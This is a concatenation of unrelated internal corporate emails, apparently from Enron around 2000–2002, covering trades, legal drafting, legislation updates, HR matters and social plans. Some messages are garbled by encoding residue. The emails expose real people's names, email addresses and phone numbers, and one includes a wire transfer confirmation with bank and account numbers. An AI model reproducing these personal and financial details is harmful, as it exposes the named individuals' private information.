 ensure that you follow-up on letters and make some last minute cold calls.
 Its not too late.

I'm attaching a list of donors from the last 2 years.   The lists show names 
of
 donors who we have not yet received donations from this year, at least not to
 my knowledge.  Beside the donors are the names of the deputies who obtained
 the donations.  If your name is beside a company, please call the company to
 find out if they will match last year's donation (or exceed it), you may be
 surprised, they may have budgeted for this donation!  Also, even if your name
 is not beside a company, call these companies if you know people there.  The
 more phone calls, the more likely it is that we receive a donation!

Please keep up the hard work.  We want to meet our target!!!!

Also, email Kelly Trout at Kelly_Trout@Scotia-Mcleod.com any names of donors
 who have confirmed that they will donate, plus the anticipated amount of the
 donation.  We want to be able to know by Monday how close we are to our 
target
 -- so your communication with Kelly if important.

Thanks to everybody who is working so hard, but keep pushing yourself to get
 those extra donations.

Liz

PS  I just rented my costume on Thursday!!!  It got me pretty hyped about the
 party as I stood there trying on dresses and mile high white wigs!!!

Chris -

Looks OK to me.

	Chris Walker
	04/11/2001 01:49 PM
		 
		 cc: 
		 Subject: New internal product type (US Gas Fin Swap ENA (INTERNAL ONLY))

Mark,

Pete Keavey has requested a new internal only product for EnronOnline.  The 
only difference from the current NYMEX products will be that it is internal 
only.  Please see the current description:

US Gas Swap ENA  Nymex                   May01           USD/MM

A financial Swap Transaction with Enron North America Corp., under which the 
Seller pays a Floating Price and the Buyer pays the price submitted by 
Counterparty on the Website (the Fixed Price) in each case in respect of the 
Notional Quantity per Determination Period.  Each calendar month during the 
term of the Transaction will be a Determination Period. The Notional Quantity 
per Determination Period is the volume submitted multiplied by the number 
days in the relevant Determination Period.  The Payment Date(s) will be 5 
business days after the Floating Price is determinable. The Floating Price 
shall be the average of the Index for each day in the relevant Determination 
Period.
The term of the Transaction shall be from the Effective Date to the 
Termination Date. The Effective Date is 01 May 2001. The Termination Date is 
31 May 2001.
The Index shall be the settlement price for the last scheduled Trading Day of 
the NYMEX Henry Hub Natural Gas Futures Contract for the applicable 
Determination Period.
The price is quoted in US Dollars per unit of volume, which will be the 
Contractual Currency.
The unit of measure against which the price is quoted shall be millions of 
British thermal units and the quantity shown shall be in millions of BTUs per 
day.

Thanks,

CW
3-7533

Below is an update from the weekend's activities.

The group negotiating the core/noncore proposal met over the weekend to attempt to put the proposal into legislative language/format.  
The product produced thus far is generally sloppy and ill-drafted and the individual facilitating the group is working tonite to integrate the comments provided and discussions that took place today. He will  distribute a new draft by noon tomorrow (PDT).
The plan as it currently stands is to deliver a product to Hertzberg by COB tomorrow (Monday).
As expected, some in the group are attempting to "recontract" certain portions of the original deal, but those attempts are generally at the margin.
The DWR contracts remain a key impediment to any deal.
Senator Burton has still not definitively committed to a conference committee to produce a bill to deliver to Davis.
In addition, the legislation to create a dedicated rate component to service the bonds to repay the state budget for power purchased by DWR (and de-link the bonds from the DWR contracts) may be on a slower track than folks thought initially.
Will have more information tomorrow on where Burton and the bond legislation stand.

Best,
Jeff

missing deals for tom a

sell srp
31st
50 mw
260.00
pv

sell sempra
feb
25 mw
240.00
sp-15

buy sempra 
feb
25 mw
245.00
pv

thanks

	please do an assignment.  Michelle

From: 	Melodick, Kim  
Sent:	Monday, November 05, 2001 11:18 AM
To:	Cash, Michelle; Palmer, Lizzette
Cc:	Sweet, Twanda
Subject:	contract assignment for John Suarez

John Suarez  (Dir. Trading) has recently transferred from EBS to East Power Trading  effective Nov 1, 2001 and we need to have his employment agreement amended to reflect his new op co.  What details do you need from me?

---------------------- Forwarded by Chris Dorland/CAL/ECT on 08/03/2000 03:08 

Kathy Reeves
08/03/2000 01:21 PM
To: BinBin She/Corp/Enron@ENRON
cc: Chris Dorland/CAL/ECT@ECT 
Subject: Re: IM Position reports  

How is this coming along.  I really need to make progress of getting these 
reports into production and I can't do that if I can't test it.
Kathy

BinBin She@ENRON
07/24/2000 01:46 PM
To: Kathy Reeves/CAL/ECT@ECT
cc:  

Kathy,

I ran a postid(834931) here and also got blank reports. I am examing this 
problem right now. I'll let you know as soon as what's causing this.

binbin

Kathy Reeves@ECT
07/19/2000 03:39 PM
cc:  

BinBin,
I am having trouble running new calc's in the test environment.  I want to 
run the implicit position report for our entire book and see how it compares 
to our excel models (post id 834931/836743/839620... anyone will to).  The 
reports I print in Stage are always blank.  I can run calc's using the 
implcit command but I can not print reports on the new postid.

The top page request in an old request but the expicit report request is a 
new one.  I need to be able to look at the positions this way as well as the 
implicit way.

Kathy

07/17/2000 03:58 PM
cc: Jeremy Wong/HOU/ECT@ECT 

Kathy,

The port_calc  version you have now when run from the port_calc screen in the 
egsstage environment doesn't include the changes for the "Implicit reports" 
related functionalities. This is because the current setup is for a testing 
version which is being used by the Houston currently.

To solve this problem, we have just put a run script : 
/home/kreeve/port_calc/run_implcit in your directory: /home/kreeve/port_cal.

For the testing, cd to /home/kreeve/port_cal,  then run the script:  
run_implcit  postid (you need to set up a postid for the test run).

To get the reports, you can still use the port_calc screen brought up in the 
egsstage environment (you can bring it up by typing: runmt on the command 
line)

postid 747584 is still available in the production environment, to run the 
test version of port_calc in egsstage, you need to have a data set in the 
egsstage database.

By the way, Are the issues you attatched in the reports(explici report and 
top page report) new requests ?

binbin 

07/17/2000 03:04 PM
cc:  

Subject: IM Position reports  

Please see the attached issues regarding the reports.

Also, under esggsate I can not seem to bring up only old calc's (including 
747584), in order to copy/amend them.  I need to test other types of deals so 
I need to be able to bring things up postid's in portcalc.  Any ideas what 
might be wrong?  Note that I can print reports from the reportscreen.

Kathy

07/17/2000 02:28 PM
cc:  
Subject: Status of egsstage database

Kathy,

I just checked with our DBA. The egsstage database has been refreshed and is 
available now. Please let me know how your test run goes.

regards,

binbin

I spoke with Bill about this and he agreed it was a good idea.

Susan Flynn
08/04/99 02:41 PM
To: Tanya Rohauer/HOU/ECT@ECT
cc: Mark - ECT Legal Taylor/HOU/ECT@ECT 
Subject: ECT North America Executed Master Agreements

 Tanya   - Is it possible that Credit could include the restrictions listed 
on the Executed Master Agreement list (see current version in attachment 
below) on your department's  Credit Watch List?    In one of our group 
meetings, we were discussing this idea.   We thought it might more sense to 
include the information on an existing report, instead of creating another 
report.    Please let me know.   

---------------------- Forwarded by Susan Flynn/HOU/ECT on 08/04/99 02:36 PM 

08/04/99 02:32 PM
To: Information Risk Management/HOU/ECT@ECT
cc:  

 Please send the attached list to all ECT North America as a WORD DOCUMENT 
today, Wednesday, August 4, 1999.   The subject should read as follows:   ECT 
North America Executed Master Agreements.   The text should read as 
follows:   See the attached list of executed Master Agreements (covering U.S. 
and Canada financial transactions only).

The following author's amendments are expected in  committee on Monday 
afternoon (actual Leg Counsel language is supposed to come  back Monday 
morning):
1.? The tax will be on excess gross receipts  from electrical energy 
distribution.
2. The tax will be imposed on the person making the  first sale of electrical 
power in or into CA for consumer  consumption.
3. The tax will be based upon the amount by which  the gross receipts from 
the sale exceed the amount that would have been received  if the sale had 
been made at a specified "base price" (to be determined by the  PUC).
4.? There will be a rebuttable presumption  that the base price represents 
afair sales price.
5.? There will be a withholding mechnism of  this excess tax from the 
purchasers, other than purchasers who are residential  consumers or small 
business users.
6.? It will require sellers to file annual tax  returns to report the tax on 
excess gross receipts and pay any remaining taxes  due.
7.? It will allow sellers to file a claim for  refund in an attempt to rebut 
the presumption that the base price was a fair  sales price.
8.? Provide certain nexus standards to  California to provide the basis to 
impose tax liability.
9. Include a 5-year sunset date.
No opposition has been received by the Rev &  Tax Cmte as of Wednesday of 
this week.? Therefore, no opposition (or  support) will be listed in the 
committee's analysis.

Chris Micheli, Esq.
Carpenter Snodgrass  & Associates
1201 K Street, Suite 710
Sacramento, CA?  95814
(916) 447-2251
FAX: (916) 445-5624
EMAIL: cmicheli@carpentersnodgrass.com

Carol:

I would prefer to go to them with all the  issues at one time.  If you have
any more issues you would like us to address, please forward and we can
approach sureties all at once.  If there are no more issues from you/ENRON
please advise and we will go to sureties now.

THX

Bill Oldham
Director, Insurance Risk Management
Reliant Energy Incorporated
Telephone No.713/207-3131
FAX No. 713/207-3251
email:    bill-oldham@reliantenergy.com

                    Carol.St.Clair
                    @enron.com            To:     boldham@reliant.com
                                          cc:     
janet-greene@reliantenergy.com, Edward.Sacks@enron.com
                    06/05/01 09:04        Subject:     Re: Update
                    AM

Bill:
Thanks for the information.  I need to take a closer look at Janet's
language, particularly the "null and void" language to make sure that it
covers all possible events of default under the Master Agreement.  As to
the Texas law issue, our ability to get comfortable from a legal standpoint
will in large part be dictated by this issue.  Is there anyway to get more
certainty on this with the sureties?  I understand that you don't want to
go to them multiple times but this is a key issue for us.  Let me know what
you think.

EB 3889

                    boldham@relia

                    nt.com               To:     carol.st.clair@enron.com

                                         cc:     jkgreene@reliant.com

                    06/04/2001           Subject:     Re: Update

                    03:35 PM

Carol:

The attached two e-mails are in response to your inquiry of 6-1-01.  If you
have any questions, let me know.

----
----- Forwarded by Bill Oldham/ADM/HouInd on 06/04/01 10:19 AM -----

                    Michael_Herrod@a
                    rs.aon.com              To:     boldham@reliant.com
                                            cc:     Dan_Burton@ars.aon.com,
John_Rathmell@ars.aon.com,
                    06/04/01 09:59          Kevin_Sparks@ars.aon.com,
Margaret_Buboltz@ars.aon.com,
                    AM                      Margaret_Gibson@ars.aon.com
                                            Subject:     Re: Update

In my opinion, the wording suggested by Janet Green should be acceptable.
We
will have to have this wording formally approved by the surety companies
prior
to issuance.  I would like to avoid approaching the sureties until all
questions
have been addressed and all changes have been made.  In regards the bonds
being
subject to Texas law, I do not see that as being a problem.  We will
address
that with the sureties along with other potential changes.

In response to previous email, neither Dan nor I know of an attorney that
would
be willing or able to write an opinion in regards the applicability of the
Appleton Law.  As discussed during the meeting, this law has nothing to do
with
the viability of an exisitng surety bond.  If a surety issued a bond that
was
later found to be in violation of Appleton, they would be fined by the
State of
New York.  It does not make the bond invalid.  MJH

----- Forwarded by Bill Oldham/ADM/HouInd on 06/04/01 07:32 AM -----

                    Janet K Greene
                                         To:     Bill
Oldham/ADM/HouInd@HouInd
                    06/03/01 05:23       cc:
                    PM                   Subject:     Re: Update(Document
link:
Bill Oldham)

What if we said:  "if the
Principal shall promptly and faithfully perform its obligations under the
Confirm, which is a part of and governed by the Master Agreement, then this
obligation shall be null and void"

With respect to her second point, what if we again said "an Event of
Default has occurred under the Confirm, which is a part of and governed by
the Master Agreement"?

I think she is trying to clarify in the language that the bond can be
called for an Event of Default under the Master Agreement, which could have
nothing to do with the Confirm - - - which is factually correct.

Janet K. Greene
Reliant Resources, Inc.
1111 Louisiana, Suite 4300
713-207-5732
fax: 713-207-0141
jkgreene@reliant.com

                    Bill Oldham
                                         To:     Carol.St.Clair@enron.com
                    06/01/01 09:27       cc:     Edward.Sacks@enron.com,
janet-greene@reliantenergy.com,
                    AM                   Wendy.Conwell@enron.com, Bill T
Hamilton/TTG/HouInd@HouInd, William
                                         Waller/ADM/HouInd@HouInd, Rex
Clevenger/ADM/HouInd@HouInd
                                         Subject:     Re: Update(Document
link:
Janet K Greene)

Carol:

Thankyou for the attached.  I believe the governing law for each issuing
surety will be the law where the surety is domiciled, but let me do some
checking and confirm this.  Also, will get back to you on your comments Re
the language in our recommended bond form...probably Monday or Tuesday next
week.  Thanks for your continued efforts in this matter.

                    @enron.com            To:
bill-oldham@reliantenergy.com
                                          cc:
janet-greene@reliantenergy.com, Edward.Sacks@enron.com,
                    06/01/01 09:02        Wendy.Conwell@enron.com
                    AM                    Subject:     Update

Bill:
I spoke with our outside counsel yesterday and we have some more follow up
work that we need to do on our side.  One issue that may be of some
importance to us in our analysis is determining what the governing law of
the surety bond will be for each issuer, and more importantly, whether we
can have the bonds governed by Texas law.  Can you answer this for me?

Also, with respect to the form of the bond itself, as we mentioned at the
meeting, the language in the third paragraph which states that "if the
Principal shall promptly and faithfully provide the Firm energy as defined
in the Confirm, hen this obligation shall be null and void," does not work
for us.  Has anyone come up with alternative language?  Finally, with
respect to the Notice of Claim, we would like for the certification to say
something like, "an Event of Default has occurred under the Master
Agreement" rather than tie it to a specific default under the Confirmation.
Does that work for the sureties?

EB 3889

i've got joe, mark, ernie, richard, cumrag (kevin), myself.
anyone heard from lawyer-boy & quigley?

---------- Original Message ----------------------------------
From: "Kevin" <klyn@pdq.net>
Date: Wed, 7 Nov 2001 15:26:29 -0600

>I vote for Celebration Station.
>
>----- Original Message -----
>From: "Mark Molnar" <MarkM@cajunusa.com>
>To: <Frthis@aol.com>; <Wolphguy@aol.com>; <martier@cpchem.com>;
><siva66@mail.ev1.net>
>Cc: <Rs1119@aol.com>; <Dutch.Quigley@enron.com>;
<john_riches@msn.com>;
><jramirez@othon.com>; <klyn@pdq.net>; <bwdunlavy@yahoo.com>
>Sent: Wednesday, November 07, 2001 3:11 PM
>Subject: Re: seeing as mark won't answer my e-mails....
>
>
>Hook us up Ernie.  I would say that we should cap it at around
$40, but
>obviously $33 would be better.  I agree that $33 would not be a
good price
>to walk.
>
>>>> <Frthis@aol.com> 11/07/01 02:51PM >>>
>Are you sure?  I just called.  Rate for Sunday morning is $33.
However, I
>did not ask if that was riding or not.  I always assume it means
riding but
>that's because I can't believe anyone would actually want to walk.
>They do have tee times available in the morning.
>
>Who is going to be playing?  Is there a max $ amount that we want
to spend?
>How many tee times do I need to get?  Is there a certain area in
Houston
>that
>we want to target?  The reason I ask is that I am on the
CityGuide (AOL)
>golf
>site which has about 90 golf locations listed (including
Celebration
>Station).  Shall I look around?
>ernie
>
>
>

________________________________________________________________
Sent via the EV1 webmail system at mail.ev1.net

Hey Everyone,

We just wanted to let you know that we added a new league on Wednesday
Nights at the Fort Scott Fields for August and September.  If you are
interested in signing up a team or joining as an individual, please e-mail
us at

presidiosoftball@yahoo.com

Thanks,

Brian & Lee & Sean

Sally, at the beginning of the new year, you expressed your desire to have a 
report developed which captured all new hires for Energy Operations weekly.  
This report needed to include all transfers in and out of Energy Operations 
as well.  After speaking to Alexus about your request, she had indicated that 
she may have a report already developed to meet your needs.  I encouraged her 
to speak to you regarding any additional details that that may be needed.  
Alexus agreed to follow up to further assess your needs.  Please let me know 
how I may help with the process.

Here's the official firm profile on Sen. Dunn, followed by a  profile on th=
e=20
firm. I'll see what other background I can find.
?
Ken
?
=09
?=09
?=09Joseph L. Dunn, Partner, Robinson, Calcagnie & Robinson, Newport Beach,=
=20
CASenator Joseph L. Dunn, a partner with Robinson,  Calcagnie & Robinson, i=
s=20
a member of the California State Senate. He  received his Bachelor of Arts=
=20
degree Magna Cum Laude from the College of  St. Thomas (Minnesota) and=20
graduated cum laude from the University of  Minnesota Law School.
=09
=09Senator Dunn=01,s  practice is focused on product liability, mass tort a=
nd=20
complex  litigation. He has served as plaintiffs=01, liaison counsel in the=
=20
California  Coordinated Breast Implant Cases, the Coordinated UCI Fertility=
 =20
Litigation, the Consolidated Texaco Refinery Litigation and the California =
=20
Coordinated Diet Drug (Fen-Phen) cases. He has also served as co-lead =20
counsel in the consolidated Shiley Heart Valve cases and the Hanford =20
Washington Downwinders=01, Litigation (nuclear facility radiation exposure)=
. =20
Senator Dunn has participated in numerous other mass tort and complex =20
litigation cases involving medical devices, pharmaceutical products, toxic =
=20
contamination, business and insurance matters, including private attorney =
=20
general actions against the tobacco industry brought by Gray Davis and the =
=20
County of Los Angeles.
=09
=09Senator Dunn was a long time board member  for the Consumer Attorneys of=
=20
California, including service as  vice-president and many years as Educatio=
n=20
Chair. He served several years  on the Executive Board of the Orange County=
=20
Trial Lawyers Association, as  state coordinator for the national=20
organization, Trial Lawyers for Public  Justice and on the Education=20
Committee for the Orange County Bar  Association. He has worked extensively=
=20
in the legislative arena, including  drafting and editing legislation and=
=20
testifying before various legislative  committees, and has been an ongoing=
=20
advocate of consumer issues.=20
=09
=09He is a frequent lecturer and author and served as  an instructor of bot=
h=20
intermediate and advanced litigation procedures for  the UCI paralegal=20
program. Since his election in 1998, Senator Dunn  continues to be a member=
=20
of the firm and serves as co-liaison counsel for  the California Coordinate=
d=20
Diet Drug (Fen-Phen) cases.
=09
=09?
=09
=09
=09Headquartered in Newport Beach, California,  the law firm of Robinson,=
=20
Calcagnie & Robinson specializes in  representing plaintiffs in cases=20
involving catastrophic injury or wrongful  death, as well as litigation=20
arising from conduct causing substantial  economic losses and damages.=20
Although known as one of the leading product  liability firms in the countr=
y,=20
the firm=01,s attorneys have built a  reputation for success in all areas o=
f=20
civil litigation, including  numerous high profile cases. In 1978, Mark P.=
=20
Robinson, Jr., as co-counsel  with Art Hews for the plaintiff in the landma=
rk=20
Ford Pinto fire case of  Grimshaw v. Ford Motor Company, won an unprecedent=
ed=20
$128 million award,  which at that time was the largest jury verdict ever i=
n=20
a personal injury  case.
=09
=09Since then Robinson, Calcagnie & Robinson have become  known for providi=
ng=20
the highest quality legal representation, and for  obtaining substantial ju=
ry=20
verdicts, judgments and settlements for their  clients in hundreds of major=
=20
cases. The firm has been based in Orange  County for over two decades, but=
=20
their commitment to their clients and  their record of achievement has=20
evolved into a practice handling a broad  spectrum of cases venued=20
nationwide. The firm=01,s attorneys have been  associated as co-counsel or=
=20
admitted pro hac vice in over thirty states,  and have tried cases in sever=
al=20
more.
=09
=09[IMAGE]The firm has an extraordinary track record in litigation which is=
 =20
well known in the legal community. The firm has received the highest  ratin=
gs=20
by Martindale-Hubbell=01,s National Law Directory, as have each of  its=20
partners. They have been successful in difficult and complex cases  against=
=20
some of the world=01,s largest corporations, manufacturers and  insurance=
=20
companies, as well as government entities. While the firm=01,s  practice is=
=20
primarily consumer-oriented, they have represented not only  private=20
individuals but businesses, corporations and government entities  seeking=
=20
damages for losses resulting from negligence, breach of contract  and other=
=20
tortious or wrongful conduct. The firm was co-counsel for the  County of Lo=
s=20
Angeles in its unfair business practices lawsuit against the  tobacco=20
industry.=20
=09
=09In cases involving unique and complex issues or significant injuries  an=
d=20
damages, such as automotive crashworthiness litigation, the ultimate  resul=
t=20
is often dependent upon the amount of time and money a law firm can  expend=
=20
on case work-up. Investigation, discovery and trial preparation  require=20
substantial financial expenditures, not to mention demands on the  time of=
=20
legal personnel. Robinson, Calcagnie & Robinson has a  reputation for both=
=20
the willingness and the ability to invest the  resources required in case=
=20
preparation. Utilizing a team approach, the  work of several lawyers,=20
paralegals and support personnel may be devoted  to a single case if needed=
.
=09
=09The firm prides itself on knowledge of the law, attention to detail,  an=
d=20
thorough analysis. Using the latest computer software and case  management=
=20
systems, as well as document scanning and coding, the firm has  the=20
capability of handling even the most complex cases involving hundreds  of=
=20
thousands, or even millions of documents.
=09
=09Robinson, Calcagnie & Robinson has its own warehouse for evidence =20
preservation and inspection, including indoor vehicle storage. The firm =20
regularly retains expert consultants and witnesses from around the country =
=20
in a variety of fields such as mechanical engineering, biomechanics, =20
accident reconstruction, design safety, human factors, metallurgy and =20
materials analysis. Depending upon the case, the firm=01,s experts may be =
=20
called upon to conduct testing and examination utilizing a wide range of =
=20
cutting-edge scientific techniques, including everything from fiberoptic =
=20
videography to scanning electron microscopy and energy disbursing x-ray =20
analysis, to full-scale vehicular crash testing with instrumented =20
anthropomorphic dummies. =20
=09

 - jld.jpg
 - view.jpg

Steve - I put together the following draft slide for next week's analyst 
conference regarding RTO's.  Could you take a minute to review and let me 
know if you have any comments/concerns.

I can be reached at x34785 or via e-mail.

Thanks.

David T. Leboe
Director, Investor Relations
Enron Corp. 

Office  713.853.4785
Cell  713.562.2160
Fax   713.646.3002
Pager  877.237.7732
david.leboe@enron.com

Any GCP Adjustments will be highlighted in blue.

Amber N Ebow x5-8331
Global Counterparty_Enron Net Works

--Original Message-----
From:  Lebrocq, Wendi  
Sent: Thursday, May 17, 2001 4:16 PM
To: Lambert, Karen; Jones, Tana; Schott, Samuel; Taylor, Mark; Reves, Brant; 
Brackett, Debbie R.; Hardy, David; Campbell, Lesli; Clark, Cynthia; Enron 
Europe Global CounterParty,; Sever, Stephanie; Moran, Tom; Clark, Claudia; 
Bradford, William S.; Lees, Lisa; Fayett, Juana; Morse, Jana; Le, Trang; 
Maley, Paul; Clarke, Sonya; Davies, Tim; O'day, Karen; Rohauer, Tanya; 
Lombardi, Kelly; Lindsay, Brian; EOL Call Center; Hare, Bill D.; Heffernan, 
Amy; LaFuze, Molly; Clark, Danny; Panus, Stephanie; Mandola, Teresa; Kyle 
III, Bill; Ebow, Amber; Lebrocq, Wendi
Subject: EOL Approvals: 05-17-01

Please see attached

 << File: EOL 05-17-01.xls >> 

Regards,
Wendi LeBrocq
3-3835

The Resolution Center will be decommissioning one of its 888 numbers (888-877-7757) as of January 7, 2002.
You can continue to contact the Resolution Center, Toll Free, by using the following steps: 
To contact the ENW IT Resolution Center:
? Call 1-800-973-6766 (1-800-97-ENRON)
? Select 1 to transfer to an extension within the Enron Building
? Select 31411 and you will be transferred to the helpdesk.
The following options are also available through the toll-free number:
0: Connect to voice directory
1: Transfer to an extension in the Enron building
2: Access voicemail in the Enron building
3: Transfer to 3 Allen Center
4: Transfer to Omaha
5: Transfer modem or fax with 646 prefix
6: Speak to an Enron operator
7: Transfer to a fax machine in the message center
8: Transfer to Aviation
9: Leave a confidential message for Enron Chairman
Please contact the Resolution Center at 3-1411 for assistance
    
ETS customers should continue to contact the ETS Solution Center-Houston at 713-345-4745 or 888-465-4745, and the ETS Solution Center-Omaha at 402-398-7454.
 
Congrats on the promotion.  I was a little suprised it was only to manager...I remember you saying something once about jumping straight to Director.  All things in due time, right?

For your records.....

I understand there is a movement to elect you interim treasurer for OLDCo.

Congratulations.

From: 	Sewell, Doug  
Sent:	Wednesday, January 09, 2002 10:28 AM
To:	Suarez, John
Cc:	Bentley, Corry
Subject:	FW: Wire Transfer Confirmation

I know you're looking for this.
cheers
From: 	Hart, Reginald  
Sent:	Wednesday, January 09, 2002 10:25 AM
To:	Sewell, Doug; Carson, Mike
Subject:	Wire Transfer Confirmation

30200945359 SAME DAY DR TRANSFER                  237,744.00
            GID:LCT20090891400
            FED20020109B1Q8021C001823
            USER REF:TWS000377903
            REF:      TWS000377903
            ORDER:    ENA CASH SERVICES
            CR BK ID: 021000021
            CR BK:    JPMORGAN CHASE BANK FORMERLY CHASE
             MANHATTAN BANK,N.A NEW YORK, NY 10004
            BENEF:    323009980 ENTERGY KOCH TRADING LP
            DETAILS:PRE PAY FOR JANUARY POWER
            INSTRUCT DATE:01/09/02 ADVICE TYPE:MAIL

Pamela:

I am also sending you the attached message which I just sent to Nikki Kroll.  
Thanks.

----- Forwarded by Sara Shackleton/HOU/ECT on 05/22/2001 10:30 AM -----

	Sara Shackleton
	05/22/2001 10:27 AM
		 
		 To: nikki.kroll@gs.com
		 cc: 
		 Subject: Transfer and Assignment of Enron North America Corp. ("ENA") 
accounts to Enron Credit Inc. ("ECI")

Nikki:

I am a lawyer with ENA.  I understand that you have been involved with the 
execution of the Goldman Sachs & Co. ("GSC")/ECI Corporate Account Agreement, 
working with both Cheryl Nelson and Stephanie Panus of ENA.

ENA would like to transfer several accounts to ECI.  In connection therewith, 
I am attaching a form of Assignment and Assumption Agreement for that 
purpose.  This document is based upon a similar agreement executed by GSC, 
ENA and ECT Investments, Inc. on January 22, 2001.

I ask that you please advise me of the following:

(1)  What is the effective date of the Corporate Account Agreement between 
ECI and GSC?  Has it been executed by GSC?

(2)  Is the attached form of assignment acceptable?

(3)  Is there anybody else with GSC that needs to be involved with the 
review/execution of the attached assignment?

Please let me hear from you.  Our commercial group is extremely anxious to 
effectuate the transfer.  Thank you for your assistance.

This e-mail address has been registered with OpinionJournal <http://www.opinionjournal.com/> for the following features:

Today's Featured Article access

To update your registration options, click the following link or paste the string into the address bar of your web browser: <http://www.opinionjournal.com/forms/email_acct.html>.

I have Michael's name pinned on my bulletin board at work, so he is in my 
thoughts and prayers daily.  Good luck!  Kay

As you may know by now, I will not be returning to Houston.  Cindy Justice 
will be managing the recruitment for Anderson, you can contact her on X57339 
if you have any questions.  

I have made the following arrangements for Fall:

4th October 2000:

Corporate Presentation
Time: 4:00-6:00pm 
Entrepreneurs Hall, Room C201

27 October 2000:

First Round Interviews
Time: 8.30 am-5:30 pm
6 rooms booked

28th October 2000:

Second Round Interviews
(Check with program)
Time: 8:30am-5.30pm
Venue to be arranged

31 January 2001

First Round Interviews for summer program

Good luck for the next season.  It was great to work with you.

Regards,

Anne-Marie

Steve,

EOL is going to tape Jeff giving this presentation on April 3rd.  It is going 
to be posted on the web.

Ursula Brenner
ENRON CORP.
+1(713)345-3787

This message (including any attachments) contains confidential information 
intended for a specific individual and purpose, and is protected by law.  If 
you are not the intended recipient, you should delete this message and are 
hereby notified that any disclosure, copying, or distribution of this 
message, or the taking of any action based on it, is strictly prohibited. 

---------------------- Forwarded by Ursula Brenner/NA/Enron on 03/23/2001 
05:23 PM ---------------------------

Katrina Burton
03/23/2001 04:22 PM
Sent by: Katrina Burton
To: Ursula Brenner/NA/Enron@Enron
cc:  

Subject: Enron Overview

No I can't make it this weekend.  Are you making the trip?  The game's going 
to be on ESPN2, so I'm thinking of having a basketball watching party.  

Talk to you later,
Robin

I met with Johnny R. Fern?ndez, Esq., Executive Director of Codezol, C.D. (Corporaci?n para el Desarrollo de la Zona Libre de Ponce, C.D.).  Codezol, C.D. is the Foreign Trade Zone #163 at Ponce, PR.  I requested information regarding the license to operate a sub zone under the Foreign Trade Zone #163.

Codezol presents the application form to the Free Trade Zone Board in Washington.  The paperwork needed is very extensive, requires specific information and is prepared by a law firm that is specialized in these matters.  He recommends two law firms: Miller & Company, Marshall V. Miller in Washington, DC which as per Codezol is the more experienced in these matters and Phelan & Mitri from Connecticut which where the ones that helped Peerless Oil & Gas get their sub zone.

A good start would be a letter from us which should include our location, legal description of the property, the exact a creage, number of tanks and their capacities, if we are a local company or subsidiary of a US firm.

When I mentioned to Mr. Fern?ndez if we can have a sub zone for ProCaribe and EcoEl?ctrica he doesn't see much problem but he needs to know more details of ProCaribe and EcoEl?ctrica to see if we can ask for one or two sub zones.

BENEFITS OF A SUB ZONE

v	No import tax "Crudita" paid until the sale is done.  You don't pay "Crudita" while the propane is in our tanks or when there is a re export.  It helps with the cash flow.

v	You don't pay personal property tax.  ProCaribe pays around $150,000 per year.

v	You don't pay "Patentes" (%of yearly revenue tax) for any volume of re export.  Only for local sales. 	Patentes are paid to the Pe?uelas Municipality.

Fees of around $25,000 per year have to be paid to Codezol.

Weekly reports of inventories have to be sent to Codezol.  Facilities inspections will be held by Codezol, Crim, and US Customs prior to receiving the license.

The process can take from 9 months to 12 months.  It is faster in products like propane and natural gas, is slower in products like diesel or gasoline.

I spoke with Suzanne Clapp and she told me she doesn't have experience in free trade zones.  She mentioned the name of Armando Lima that can put us in contact with the Free Trade Zone personnel in Puerto Rico.   

It took Peerless 14 months to get the sub zone because there was some "prejudice with oil during the Clinton Administration".  It costs them $60,000 in legal fees and it was done by Phelan & Mitri.

Marshall Miller did the Codezol license and it cost $40,000 in legal fees but it was much less work than the one done by Peerless.

As per Mr. Fern?ndez, the next step is a short history of us so he can understand who we are and what we do.

Any questions please let me know so I can pass it on to Codezol.

Saludos

Sara.   It has been formed.  Enron Investment Services Ltd was set up on 
3/10/00

Regards
Mahesh

Janine Juggins
04/10/2000 15:10
To: Sara Shackleton/HOU/ECT@ECT, Mahesh Lakhani/LON/ECT@ECT
cc: Paul Simons/LON/ECT@ECT, John Greene/LON/ECT@ECT 

Subject: Re: U.K. arranger for ENA and ECT Investments, Inc.

Mahesh, please can you update Sara on the status (I think it has been formed, 
but Mahesh will confirm)
Regards
Janine

From: Sara Shackleton on 04/10/2000 08:19 CDT
To: Janine Juggins/LON/ECT@ECT, Paul Simons/LON/ECT@ECT
cc: John Greene/LON/ECT@ECT 

Subject: U.K.  arranger for ENA and ECT Investments, Inc.

Any word yet on creation of the new entity?  Sara

Mike just got back to me on this - these are good deals that he forgot to 
write down. I'm entering them right now, and I'll let you know the deal 
numbers in a second.

Kate

03/07/2001 08:13 AM
cc:  

Subject:   

Hi Kate,
What's the status of these two deals?

   Kate Symes @ ECT                03/06/2001 05:41 PM

To: Evelyn Metoyer/Corp/Enron@ENRON
cc:  

Subject: Re: 3/06/ Checkout  

Evelyn, I'm so sorry I haven't found these deals yet! I've left messages with 
Mike Swerzbin and Matt Motley, but I don't see these trades in either of 
their logs - or even in the short term trade logs. One of those guys should 
be back in the office momentarily, and I'll let you know when I've talked to 
them.

Kate

03/06/2001 03:15 PM
cc:  

Subject: 3/06/ Checkout

Amerex West
All deals checked out fine.

Bloomberg

Prebon

Mike Swerbin
I am missing the following deals:
Enron buys from PGET 25 mw of May PV at $272
Enron sells to EES 25 mw of May PV at $268.

Where did he go?

From: 	Forster, David  
Sent:	Friday, January 11, 2002 5:15 PM
Subject:	Score is 3 to 1

We are now down to 38 (Ricky Oberai has left the testing group)

I believe all of the offers have come from Duke.

Dave

Thanks, Stacey.  I hope all's well.  I'm going to get with him on Monday (I=
'll be in Houston) -- I seem to recall his mentioning that one particular f=
und is not 100% depleted, and that technically, we could continue to offer =
the product.  Do you remember his noting this?  MLC

From:=09Stacey Bolton/ENRON@enronXgate on 08/02/2001 11:30 AM
To:=09Marianne Castano/HOU/EES@EES
cc:=09Richard Ring/HOU/EES@EES, Heather Mathis/HOU/EES@EES=20
Subject:=09RE: CA BIZMIX Issues

Richard is on vacation until Monday.  To continue the Bizmix product, we wo=
uld need the customer credit monies.  The customer credit monies for the Bi=
zmix were depleted in January.  Perhaps Richard can work a deal for tags, b=
ut I still think this would be a premium and affect their positions in CA. =
 I'm sure Richard will give you more detail, but wanted to make sure you we=
re aware of the situation w/ the incentive funds.
From: =09Castano, Marianne =20
Sent:=09Thursday, August 02, 2001 8:52 AM
To:=09Bolton, Stacey
Cc:=09Ring, Richard; Mathis, Heather

Peggy informed me on Monday that she did not want to send any notice letter=
s to customers advising of the discontinuation of bixmiz, and asked if we c=
ould somehow, someway, continue to offer the product going forward.  I have=
 a message into Richard re:  Peggy's message to me...MLC

